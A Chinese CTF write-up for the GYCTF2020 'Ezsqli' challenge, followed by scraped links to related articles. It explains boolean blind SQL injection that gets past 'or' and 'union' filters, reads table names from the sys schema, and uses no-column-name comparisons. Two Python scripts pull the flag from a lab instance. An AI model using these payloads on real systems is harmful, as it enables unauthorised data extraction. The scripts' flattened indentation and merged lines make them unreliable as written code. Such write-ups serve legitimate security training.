[GYCTF2020]Ezsqli 无列名注入

手工注入了几下,是数字注入,过滤了 or , union
输入1||1=1 回显Nu1L
再输入
1&&(ascii(substr(database(),1,1))>32)#
也是成功回显,那么就简单了,直接上脚本
加上time.sleep(0.1)可以避免访问过于频繁而导致429,用二分法爆破将快很多
import requests
import time
url = 'http://a713b075-e461-480d-82a8-36c99d85f52e.node3.buuoj.cn'
i = 0
flag = ''
while True:
i += 1
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
#print(begin, tmp, end)
time.sleep(0.1)
payload = {"id":"1&&(ascii(substr(database(),%d,1))>%d)#" % (i, tmp)}
#payload = {"id":"1&&(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(sys.x$schema_flattened_keys)where(TABLE_SCHEMA=database())),%d,1))>%d)#" % (i, tmp)}
r = requests.post(url,data=payload)
if 'Nu1L' in r.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2 flag += chr(tmp)
print(flag)
if begin == 32:
break

接着试一下能不能爆表名,发现information_schema库用不了,使用sys.x$schema_flattened_keys
payload = {"id":"1&&(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(sys.x$schema_flattened_keys)where(TABLE_SCHEMA=database())),%d,1))>%d)#" % (i, tmp)}

字段的爆破采用无列名注入
1&&((select 1,'a') < (select * from f1ag_1s_h3r3_hhhhh))
字符串的比较不是比较字符串的长度,而是比较第一个字符的ascii码值
如果第一个ascii码值相等,那么比较第二个字符
那么脚本就出来了
import requests
import time
url="http://a713b075-e461-480d-82a8-36c99d85f52e.node3.buuoj.cn"
flag='' while True:
begin=32
end=126
tmp=(begin+end)//2
while begin<end:
time.sleep(0.1)
payload = {"id":"1&&((select 1,'{}') < (select * from f1ag_1s_h3r3_hhhhh))".format(flag+chr(tmp))}
re=requests.post(url,data=payload)
if 'Nu1L' in re.text:
#rint(tmp)
begin = tmp + 1
tmp = (begin + end) // 2
#print(tmp)
else:
end = tmp
tmp = (begin + end) // 2 flag+=chr(tmp-1)
print(flag)
[GYCTF2020]Ezsqli 无列名注入的更多相关文章
- Sql 中的as是什么意思 + 无列名注入解析
相当于取别名 这里结合一下无列名注入的知识点: 这种方法在第十届SWPUCTF的web1——广告招租里考到了:
- BUUCTF-web web1 (无列名注入)
注册并登录后发现,sql注入,注入点在广告申请的界面.加单引号发现报错 先通过insert插入数据,然后再通过id查询相应的数据,所以是二次注入. 常见报错函数updatexml,floor以及ext ...
- swpuCTF2019 web1 无列名注入
上周参加的swpuctf比赛第一道web题做了好久,在最后一个小时用非预期的方法做出来了,看了官方题解之后记录一下wp里面的无列名注入. 关于无列名注入可以看一下这篇链接 https://www.ch ...
- mysql无列名注入
0x00 原理 mysql无列名注入是报错注入的一个变种,前提是已知表名,但是不知道列名,或者只知道部分列名,可通过报错注入拼接查询自身表,当自表被拼接时,由于存在重复属性列,会将列信息报错返回, ...
- 小议webpack下的AOP式无侵入注入
说起来, 面向切面编程(AOP)自从诞生之日起,一直都是计算机科学领域十分热门的话题,但是很奇怪的是,在前端圈子里,探讨AOP的文章似乎并不是多,而且多数拘泥在给出理论,然后实现个片段的定式)难免陷入 ...
- iBatis查询时报"列名无效"或"找不到栏位名称"无列名的错误原因及解决方法
iBatis会自动缓存每条查询语句的列名映射,对于动态查询字段或分页查询等queryForPage, queryForList,就可能产生"列名无效".rs.getObject(o ...
- [GYCTF2020]Ezsqli-1|SQL注入
1.打开界面之后在输入框进行输入测试,分别输入1.2.3.'等字符,结果如下: 2.看到bool(false)这里我想到了bool注入,因为之前做过这道题:https://www.cnblogs.co ...
- Mysql注入汇总!!!!!!!!!
师傅tpl!!!!! https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结] https://www.jianshu.com/p/f261125 ...
- BUUCTF[归纳]sql注入相关题目
这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...
随机推荐
- 不难懂-----git一套流程
001.初始化仓库,创建git仓库 git init 002.配置个人信息 git config --global user.name <名字> --------->:配置用户名 g ...
- nginx 和uwsgi的区别与作用
在介绍nginx和uwsgi的区别和作用之前我们先介绍一下几个概念 1.WSGI WSGI的全称是Web Server Gateway Interface(Web服务器网关接口),它不是服务器.pyt ...
- Azure AD Domain Service(一)将 Azure VM 实例添加到域服务里
一,引言 有网友提到实际项目中如何将 Azuer VM 实例加入到 Azure AD 域,那我们今天就带着整个问题开始今天的分析!首先我们得了解什么是 Azure AD 域服务,Azure AD 域服 ...
- 在树莓派上开发SpringBoot 之使用VSCode远程开发
一些运行在ARM单板电脑上的IoT应用通常会提供RESTful风格的API接口.本次的文章记录如何在本地电脑上通过VS Code的远程开发功能,在树莓派端创建一个SpringBoot工程,并实现调试和 ...
- Vue.js的组件(slot/动态组件等)、单文件组件、递归组件使用
一.组件 1> 组件命名方式有两种(注意:在DOM模板中只有kebab-case命名方法才生效): html中引用组件: <!-- 在DOM模板中,只有 kebab-case命名才生效 - ...
- python 定义函数关键字def 简单介绍
一 在类中定义的def # python中def 是用来干什么的? # 可以定义函数,就是定义一个功能. class People(): def __init__(self): print(&quo ...
- django之百度Ueditor富文本编辑器后台集成
Python3 + Django2.0 百度Ueditor 富文本编辑器的集成 百度富文本编辑器官网地址:http://fex.baidu.com/ueditor/ 疑问:为什么要二次集成? 答案:因 ...
- react 高阶组件的实现
由于强大的mixin功能,在react组件开发过程中存在众多不理于组件维护的因素,所以react社区提出了新的方法来替换mixin,那就是高阶组件: 首先在工程中安装高阶组件所需的依赖: npm in ...
- HttpClient 的Timeout waiting for connection from pool
Timeout waiting for connection from pool 异常 httpClient大家用到地方会很多,先简单描述一下几个关键配置的意义 httpClient版本为4.5.1 ...
- ubuntu关机重启命令介绍
转载请注明来源:https://www.cnblogs.com/hookjc/ 重启命令: 1.reboot 2.shutdown -r now 立刻重启(root用户使用) 3.shut ...